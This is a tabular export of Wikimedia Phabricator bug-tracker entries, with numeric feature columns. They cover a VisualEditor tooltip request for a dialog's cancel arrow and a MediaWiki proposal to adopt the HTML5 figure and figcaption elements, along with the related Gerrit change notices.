**Attached**: {F11244}",Medium,50.0,1370371920,1395021940.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,False,PHID-TASK-inqexk3a4klng6im6ld7,task_description,resolved,True,c1,1,False,False,False,-4,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,6.0,5.0,0.0,5.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.441860465116279,0.627906976744186,"Arrow shown in top-right, under search bar

The Up-Arrow icon, at the top-right of the ""Review your changes"" dialog (which cancels the review window) needs a tooltip. 

I suggest: ""Cancel review, go back to current edit"" or similar.

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11244}"
236617,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Yes, this was fixed ages ago. Apologies for not noting and closing then – thanks for the reminder!",,,1395021940,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,"Yes, this was fixed ages ago. Apologies for not noting and closing then – thanks for the reminder!"
236611,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","All left-arrows (except for the link-dialog?) appear to have been replaced with ""X"", and all ""X""s (plus the link-dialog arrow) have tooltips. 

I think this can be closed-as-fixed, but I will leave it up to the product team in case I missed something that they're tracking with this.",,,1394910439,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,False,,,36,,3.0,1.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,8.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,14.0,0.0,1.0,4.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,3.2777777777777777,0.7222222222222222,"All left-arrows (except for the link-dialog?) appear to have been replaced with ""X"", and all ""X""s (plus the link-dialog arrow) have tooltips. 

I think this can be closed-as-fixed, but I will leave it up to the product team in case I missed something that they're tracking with this."
236603,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","**santosh.cool.reddy** wrote:

""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?

Look at the attached image,looks like this bug has been already solved. Arrow is replaced by an 'X'.

**Attached**: {F11247}",,,1394901722,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,11.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,6.0,3.0,2.0,9.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.265625,0.71875,"**santosh.cool.reddy** wrote:

""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?

Look at the attached image,looks like this bug has been already solved. Arrow is replaced by an 'X'.

**Attached**: {F11247}"
236596,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","santosh reddy: I have no idea what you meant by ""cleared"". This bug report is still open and there is no patch mentioned. In case you meant that the bug is fixed for you, please provide a clear link where you see it fixed. Thanks.",,,1394900638,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,2.0,4.0,8.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,4.0,6.0,8.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,11.0,8.0,0.0,0.0,4.0,0.0,11.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.509433962264151,0.7547169811320755,"santosh reddy: I have no idea what you meant by ""cleared"". This bug report is still open and there is no patch mentioned. In case you meant that the bug is fixed for you, please provide a clear link where you see it fixed. Thanks."
236592,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","**santosh.cool.reddy** wrote:

I see that this bug has been cleared. Please check the bug and close this bug.",,,1394889750,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.576923076923077,0.7307692307692307,"**santosh.cool.reddy** wrote:

I see that this bug has been cleared. Please check the bug and close this bug."
236588,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Argh, yes, Kaldari got his comment in before mine. :-)",,,1371858127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,15.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.9230769230769231,"Argh, yes, Kaldari got his comment in before mine. :-)"
236583,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Also needed in ""Save your changes"" dialog for up and left arrows.",,,1371858070,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.9333333333333333,"Also needed in ""Save your changes"" dialog for up and left arrows."
236578,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?",*** Bug 49983 has been marked as a duplicate of this bug. ***,,,1371857901,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49983 has been marked as a duplicate of this bug. ***
236573,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","Someone else commented on this today, and suggested that an [X] might be a better icon than a < or ^.

See http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Link_pop-up for further discussion.",,,1370806025,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,False,,,-4,,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,13.0,3.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,13.0,3.5483870967741935,0.967741935483871,"Someone else commented on this today, and suggested that an [X] might be a better icon than a < or ^.

See URL for further discussion."
236568,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?",Thanks for the catch!,,,1370539736,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Thanks for the catch!
236565,"VisualEditor: ""Review your changes"" - cancel-arrow needs a tooltip; possibly replace with an ""X""?","There's an Identical problem with the ""Report a problem"" dialog, in two places. 

1) The left-arrow at the left-hand-side needs a tooltip. ""Cancel report, go back to Review"" or similar.

2) The up-arrow at the top-right needs a different tooltip. ""Cancel report, go back to current edit"" or similar.

(I'm not sure if you'd prefer this in the same bug, or split into 2 bugs, or even 3 bugs. Please let me know.)",,,1370479896,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-inqexk3a4klng6im6ld7,task_subcomment,,True,c1,2,False,,,-4,,0.0,0.0,0.0,0.0,1.0,7.5,0.0,0.0,0.0,1.0,1.5,2.0,0.0,0.0,0.5,2.0,0.0,3.5,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,2.5,0.0,2.5,6.0,2.5,0.0,4.0,0.0,2.5,0.0,0.0,2.5,1.0,0.0,0.0,0.0,1.0,3.0719155844155845,0.7483766233766234,"There's an Identical problem with the ""Report a problem"" dialog, in two places. 

1) The left-arrow at the left-hand-side needs a tooltip. ""Cancel report, go back to Review"" or similar.

2) The up-arrow at the top-right needs a different tooltip. ""Cancel report, go back to current edit"" or similar.

(I'm not sure if you'd prefer this in the same bug, or split into 2 bugs, or even 3 bugs. Please let me know.)"
51097,Use figure and figcaption HTML5 elements when possible,"Since MediaWiki allows images that are clearly separated out, we should see if we can use `<figure>` and `<figcaption>`.  These tags are intended for ""//some flow content, optionally with a caption, that is self-contained and is typically referenced as a single unit from the main flow of the document.//""

This would particularly make sense for thumb and frame where a caption is already shown.  However, figure can also be used without figcaption, which should simplify implementation.

The main concern is backwards-compatibility with browsers that don't know about these tags. They're new to HTML5 (which is now always on in MediaWiki), but

1. Older IE will not be able to style these elements from CSS
2. Older IE will not be able to select these elements from JavaScript.  This can be worked around by calling `createElement(tagName)` once for each of the relevant tag names.

For issue number 2, I think jQuery's internal `createSafeFragment` already takes care of old IE.  So only the styling issue remains.

--------------------------
See also: {T25932}",Medium,50.0,1370315820,1689005142.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-jjld4d5wjqxkuihohuzl,task_description,resolved,True,c1,1,True,False,False,-4,,0.3333333333333333,0.0,0.0,2.0,1.0,4.333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,7.666666666666667,9.333333333333334,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,1.0,0.0,4.666666666666667,2.3333333333333335,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,2.3333333333333335,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,9.0,1.0,1.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,3.0,4.0,10.333333333333334,1.0,1.3333333333333333,6.333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,1.3333333333333333,9.333333333333334,5.333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,0.0,2.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,4.052380952380953,0.8047619047619049,"Since MediaWiki allows images that are clearly separated out, we should see if we can use CODE and CODE.  These tags are intended for ""//some flow content, optionally with a caption, that is self-contained and is typically referenced as a single unit from the main flow of the document.//""

This would particularly make sense for thumb and frame where a caption is already shown.  However, figure can also be used without figcaption, which should simplify implementation.

The main concern is backwards-compatibility with browsers that don't know about these tags. They're new to HTML5 (which is now always on in MediaWiki), but

1. Older IE will not be able to style these elements from CSS
2. Older IE will not be able to select these elements from JavaScript.  This can be worked around by calling CODE once for each of the relevant tag names.

For issue number 2, I think jQuery's internal CODE already takes care of old IE.  So only the styling issue remains.

--------------------------
See also: {T25932}"
1820549,Use figure and figcaption HTML5 elements when possible,"Change 726645 **abandoned** by Arlolra:
%%%[mediawiki/core@master] [WIP] Always ship content.media.less when content-media feature is requested%%%
Reason:
%%%%%%
https://gerrit.wikimedia.org/r/726645",,,1637266651,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,437,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,2.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,3.6136363636363638,0.6136363636363636,"Change 726645 **abandoned** by Arlolra:
%%%[mediawiki/core@master] [WIP] Always ship content.media.less when content-media feature is requested%%%
Reason:
%%%%%%
GERRIT_URL"
1801744,Use figure and figcaption HTML5 elements when possible,"Change 730735 **merged** by C. Scott Ananian:
%%%[mediawiki/core@REL1_37] RELEASE-NOTES-1.37: Add note about $wgParserEnableLegacyMediaDOM%%%
https://gerrit.wikimedia.org/r/730735",,,1634321226,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,432,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,3.0,0.0,3.0,3.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.40625,0.78125,"Change 730735 **merged** by C. Scott Ananian:
%%%[mediawiki/core@REL1_37] RELEASE-NOTES-1.37: Add note about $wgParserEnableLegacyMediaDOM%%%
GERRIT_URL"
1801007,Use figure and figcaption HTML5 elements when possible,"Change 725160 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
https://gerrit.wikimedia.org/r/725160",,,1634244096,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,432,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,6.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0625,0.78125,"Change 725160 **merged** by jenkins-bot:
%%%[mediawiki/core@master] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
GERRIT_URL"
1801000,Use figure and figcaption HTML5 elements when possible,"Change 730735 had a related patch set uploaded (by C. Scott Ananian; author: Arlolra):
%%%[mediawiki/core@REL1_37] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
https://gerrit.wikimedia.org/r/730735",,,1634243825,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,432,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,4.421052631578948,0.9210526315789473,"Change 730735 had a related patch set uploaded (by C. Scott Ananian; author: Arlolra):
%%%[mediawiki/core@REL1_37] Add $wgParserEnableLegacyMediaDOM to REL1-37 release notes%%%
GERRIT_URL"
1799058,Use figure and figcaption HTML5 elements when possible,">>! In T51097#7406103, @Tacsipacsi wrote:
>>>! In T51097#7402844, @Legoktm wrote:
>> How bad will it look if those styles aren't there?
> Hopefully not that bad, at least in average. Images on Commons file description pages are usually inline (often transcluded in table cells), which don’t require much CSS. If you want to make sure, the necessary styles can be copied to (or `@import`ed from) [[https://commons.wikimedia.org/wiki/MediaWiki:Filepage.css|MediaWiki:Filepage.css]], which should be loaded on third-party wikis as well.

That was the same conclusion that Arlo and I came to. I suggested that we make sure to backport the correct styles for the 1.35/1.36/1.37 branches, but not wait for a release before flipping the switch on Commons. If it turns out to be much worse than expected, we can ask Reedy to put out a MW maintenance release outside the normal cycle for this change.",,,1634059807,,PHID-USER-v7vgzvvcw7v2umf737ri,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,432,,1.0,0.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,20.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,11.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,15.0,4.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,6.0,20.0,9.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,4.0,0.7088607594936709,"QUOTE
QUOTE
QUOTE
QUOTE

That was the same conclusion that Arlo and I came to. I suggested that we make sure to backport the correct styles for the 1.35/1.36/1.37 branches, but not wait for a release before flipping the switch on Commons. If it turns out to be much worse than expected, we can ask Reedy to put out a MW maintenance release outside the normal cycle for this change."
1796023,Use figure and figcaption HTML5 elements when possible,">>! In T51097#7402571, @Arlolra wrote:
> If you can think of any other situation where there is similar cross wiki inclusion, please let me know

Probably #mediawiki-extensions-doublewiki as well (used on Wikisources and a few other wikis). The transcluded pages often depend on their own wiki’s sitewide CSS and are thus already broken, breaking them a bit more doesn’t worsen the situation a lot…

>>! In T51097#7402844, @Legoktm wrote:
> How bad will it look if those styles aren't there?
Hopefully not that bad, at least in average. Images on Commons file description pages are usually inline (often transcluded in table cells), which don’t require much CSS. If you want to make sure, the necessary styles can be copied to (or `@import`ed from) [[https://commons.wikimedia.org/wiki/MediaWiki:Filepage.css|MediaWiki:Filepage.css]], which should be loaded on third-party wikis as well.",,,1633537791,,PHID-USER-ocqnoktaualicuvge2tu,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,1.5,0.0,0.0,2.0,0.5,8.0,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,9.5,8.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,1.5,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,3.5,3.0,9.0,1.0,2.0,5.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,2.0,0.0,1.5,1.5,0.5,0.5,0.5,1.0,1.5,3.8984375,0.8203125,"QUOTE
QUOTE

Probably #mediawiki-extensions-doublewiki as well (used on Wikisources and a few other wikis). The transcluded pages often depend on their own wiki’s sitewide CSS and are thus already broken, breaking them a bit more doesn’t worsen the situation a lot…

QUOTE
QUOTE
Hopefully not that bad, at least in average. Images on Commons file description pages are usually inline (often transcluded in table cells), which don’t require much CSS. If you want to make sure, the necessary styles can be copied to (or CODEed from) [[URL which should be loaded on third-party wikis as well."
1795579,Use figure and figcaption HTML5 elements when possible,"Change 726643 **merged** by jenkins-bot:
%%%[operations/mediawiki-config@master] Enable legacy media dom on metawiki%%%
https://gerrit.wikimedia.org/r/726643",,,1633480989,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-jjld4d5wjqxkuihohuzl,task_subcomment,,True,c1,3,False,,,431,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.870967741935484,0.7741935483870968,"Change 726643 **merged** by jenkins-bot:
%%%[operations/mediawiki-config@master] Enable legacy media dom on metawiki%%%
GERRIT_URL"
1795567,Use figure and figcaption HTML5 elements when possible,"Change 726707 **merged** by jenkins-bot:
%%%[mediawiki/core@wmf/1.38.0-wmf.2] Add a separate config for content.media.less%%%
